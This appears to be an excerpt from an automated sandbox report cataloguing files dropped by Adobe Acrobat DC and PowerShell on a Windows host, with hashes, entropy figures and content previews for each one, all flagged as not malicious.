C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2736

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.066228871917622
Encrypted:	false
SSDEEP:	48:YH2sL0/EY0bMSlMtCM5mMOpiMAW0MretMSMmkaMY:3v/SYtt55V6AWLre6JmkhY
MD5:	E6D548AE178BEB5FF35182BEE3510684
SHA1:	AF5250A911552C7CCC768A696DDF21BBC201E27B
SHA-256:	D7402951624F5175043366E50C6BF7FE15FAE5D0525170EBD0B07AD33DAE42A3
SHA-512:	6AE175FAB9D65C680A263976052E047BB688D429FFB69914E2FDBAD8531317E89869EB5AC463A346C7B036B041972A26EBD8EA5DB1CE80449CC030F5D4808227
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736518031000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"23c88c8acf166d9fda5ae4d83df3db72","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696420889000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d5fa85f4cf271b5fa75367efd1b392fa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696420884000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"7c2ad79e375e3ea39f82a389e8a5841f","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696420882000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c3af48ba3dee086edbbf20dff46c7ee0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696333862000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7101e009d8bf8920d0a3dd3f5dc75ebc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696333862000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1871417754622102
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUTwSvR9H9vxFGiDIAEkGVvpXu:lNVmswUUUUUUUUM+FGSIty
MD5:	B2495C8BEED534F89AA29372FF73D333
SHA1:	E7A8B35BAC31306A43778E832B57FB6C7D6AD001
SHA-256:	9BB0CBEEBE0BB4DC17DF19652A3B580730FFC614FA843369125778F384E5F89D
SHA-512:	03A61F6CF375CD8CEB4086D498C1D7E819793A53A5CDC23B5C368975399E5CE5EDFE919B13A20BD00E229594B88D0E3EA6BA569D498C5880473B4CFCDEC8E9BE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6052591178501336
Encrypted:	false
SSDEEP:	48:7MZKUUUUUUUUUUTCvR9H9vxFGiDIAEkGVvRqFl2GL7msB:7fUUUUUUUUUUiFGSIt/KVmsB
MD5:	3E2F5EAF72ADCF692BD0248BEE01CF52
SHA1:	4430199DF1DFD901942541D5DD383441409C0192
SHA-256:	280BD4920647AA29E6288275596358AE67485DB71D273AA5DD9767A941257D0E
SHA-512:	3595A4883CDCA8EB881300B23C30466201540827CE8A96E4DCDD7025CF64960D1D44B18E4D06A30FB00D579F2F6BC49E96E6E1A31256416F8E4EC9F19B26E607
Malicious:	false
Preview:	.... .c.....#.P.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgvaihe8pBjMgpgv0g10PRcm8oYyu:6a6TZ44ADEZjMSgsg10PRcyK
MD5:	39348EB762D297311D7744FE45CF92ED
SHA1:	4F2CC88DBE03C9D80B736E04E138BDE0C5EC73AE
SHA-256:	AEB7EBAB44F3F1A2C84231B8182B79EA2017B44769D9F2767D587A6D293D1A99
SHA-512:	6AC9267530B3A9F1F03D46A385B0BDAE111805AB0D8ED57EA1779BC853886CAD66B243F0BEA9BB7AC89868C87008E703F8C59C5867963DD1884460A0F273D57F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSId14be.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl02gYle:Qw946cPbiOxDlbYnuRK+bqdw
MD5:	CA3291FA2DB218785C936CB1923EF0CB
SHA1:	92E1F91E29B17E36D6BDCC87DDBF9911C75D80F4
SHA-256:	7C7E3469B24F2C523CDE0FEF6200006472C571882295D58E33C9FBFDA52BB659
SHA-512:	5F8F8FF3E07CC1D53F50E896ECBDDF3991D7824370437795A8F895C5591A107D007613F92CDB37E9465B0905F3E43D73FC66D5C67EF78F078A1BD8DC4971B817
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.9.:.0.7.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dvppztwz.jth.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_onwggqlf.rhh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91lkz9sq_r4tl2k_240.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9u2mmzn_r4tl2j_240.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 09-07-11-175.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.337940727214272
Encrypted:	false
SSDEEP:	384:m2vcBcyc5czcgcTDcocJcnc4cWNbNANwQi5iSiuBoBkRxRlR+RbyXRs53l3D3nhz:mMKfS+zqDnoQN/ZqiQQDlquLXsJO0VTR
MD5:	E3FD1A64C71396AC96D5D6A2E7837DA5
SHA1:	E93B2A39F126156149DDC906054CE13D3064E8D0
SHA-256:	58D0BB0A89F437778EA7F62993F88010F8ADDBC3CF55FB69041BEC94EA74F194
SHA-512:	6E927678CFC9FCA4237B2AD5DAE003F7F4EDB6BBF0386F768F0C326FF519A79EE39EBF75AF766E009A72D533DD4B0F3CBEE97F0CD8F9D172C48E30EEB6969C86
Malicious:	false
Preview:	SessionID=8afd6c40-8951-4660-88e8-0670a762ef69.1736518031232 Timestamp=2025-01-10T09:07:11:232-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8afd6c40-8951-4660-88e8-0670a762ef69.1736518031232 Timestamp=2025-01-10T09:07:11:234-0500 ThreadID=7760 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8afd6c40-8951-4660-88e8-0670a762ef69.1736518031232 Timestamp=2025-01-10T09:07:11:234-0500 ThreadID=7760 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8afd6c40-8951-4660-88e8-0670a762ef69.1736518031232 Timestamp=2025-01-10T09:07:11:234-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8afd6c40-8951-4660-88e8-0670a762ef69.1736518031232 Timestamp=2025-01-10T09:07:11:234-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387825569889787
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rK:ZY
MD5:	0473D3503AEDE929946A1608E8E15C52
SHA1:	16C98E5AF2B754BC9019F59552AA7816A1DB8744
SHA-256:	91E624F7196066F295FC3C672300A7AE8FFF736531CA8CAA9E4892D6737EDC2A
SHA-512:	512B72B7B0674395A6A3ED6105A698217895D775BA67155EAF339D8FCDCE3EDE999D2A763CAC4E31D1CC24D14C184622A6B82BB84C53F427B781829D1E8A7A41
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\488a4f9f-002b-4e90-89a1-451b46d5df9e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7b729a9e-244a-4cd5-ac46-3e2b4bf224dc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

